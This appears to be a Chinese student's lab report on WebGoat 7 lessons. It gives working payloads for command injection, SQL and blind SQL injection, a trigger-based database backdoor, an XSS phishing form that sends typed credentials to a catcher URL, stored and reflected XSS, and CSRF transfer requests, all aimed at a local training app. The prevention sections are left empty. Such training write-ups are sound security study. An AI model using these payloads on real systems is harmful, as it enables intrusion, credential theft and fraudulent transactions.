zhuangnet 2020-05-20
1.1 基础知识
SQL注入
XSS
CSRF
1.2 实验准备
下载webgoat:网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1,下载webgoat-container-7.0.1-war-exec.jar。
在含有该文件的文件夹那开启命令行,输入java -jar webgoat-container-7.0.1-war-exec.jar
开启WebGoat
运行一段时间之后命令行出现Starting ProtocolHandler
证明开启成功
由于WebGoat 7使用jdk 1.8编译,所以需要安装jdk 1.8版本;jdk安装过程不再辍述,如果需要,可参考链接。
在浏览器中输入http://localhost:8080/WebGoat
进入WebGoat登录界面,用户名密码均为guest,登录后可以看到左侧有一系列课程。
2.1 Command Injection(命令注入)
在左侧菜单栏中选择Injection Flaws->Command Injection
右键点击复选框选择Inspect Element审查网页元素对源代码<option>
进行修改,在复选框中任意一栏的代码(例如第一栏)后添加"& netstat -an & ipconfig"
2.2 Numeric SQL Injection(数字型SQL注入)
在左侧菜单栏中选择Injection Flaws->Numeric SQL Injection
对源代码<option>
进行修改,将选中的城市编号value="101"
改为value="101 or 1=1"
2.3 Log Spoofing(日志欺骗)
在左侧菜单栏中选择Injection Flaws->Log Spoofing
在User Name中填入webgoat%0d%0aLogin Succeeded for username: 20175110wlb
点击Login可以看到webgoat Login Fail,添加的20175110wlb Login Succeeded
2.4 String SQL Injection(字符串型注入)
在左侧菜单栏中选择Injection Flaws->String SQL Injection
用‘
提前闭合""
,插入永真式1=1
,--
注释掉后面的内容,可以输入查询的用户名wlb‘ or 1=1--
选择表里面的所有数据
2.5 LAB: SQL Injection
在左侧菜单栏中选择Injection Flaws->LAB: SQL Injection
右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20
2.6 Database Backdoors(数据库后门)
101; update employee set salary=10000
执行两个语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘‘WHERE userid = NEW.userid
注入一个充当SQL后门的触发器2.7 Blind Numeric SQL Injection(数字型盲注入)
101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效101 AND 1=2
,因为第二个条件不成立,所以而页面返回帐号无效101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
2.8 Blind String SQL Injection(字符串型盲注入)
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘H‘ );
取得 pin 字段数值的第一个字母,并判断其是否比字 母“H”小101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 2, 1) < ‘h‘ );
3.1 Phishing with XSS 跨站脚本钓鱼攻击
创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
在页面的搜索框输入如下代码,页面增加一个表单
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
3.2 存储型XSS攻击(Stored XSS Attacks)
title
中任意输入字符,留言板中输入<script>alert("Hello guys");</script>
后点击Submit
攻击成功3.2 反射型XSS攻击(Reflected XSS Attacks)
<script>alert("You‘ve been attacked!!!^_^");</script>
,点击purchase
的同时页面就给出了反馈4.1 跨站请求伪造(Cross Site Request Forgery (CSRF))
title
中输入任何参数,message
框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=327&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL
放进message
框,这时的URL
对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交4.2 绕过 CSRF 确认( CSRF Prompt By‐Pass)
<iframe src="attack?Screen=330&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=330&menu=900&transferFunds=CONFIRM"> </iframe>
(1)SQL注入攻击原理,如何防御
原理:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
预防
(2)XSS攻击的原理,如何防御
原理:XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实
施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。
预防
(3)CSRF攻击原理,如何防御
原理:,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
预防
最后一次实验在学习平台上完成了,做了一些练习题,收获还是很大的。感觉网络上信息泄露的方式数不胜数,个人很难有精力去防范如此多种多样的攻击方式,网络安全防范势在必行。否则,人人的资料都只是可以随意买卖的商品,如此会造成社会的巨大问题,我现在掌握的知识还只是皮毛,想要在信息安全这条路上走下去,还需要更加艰苦奋斗的精神才可以!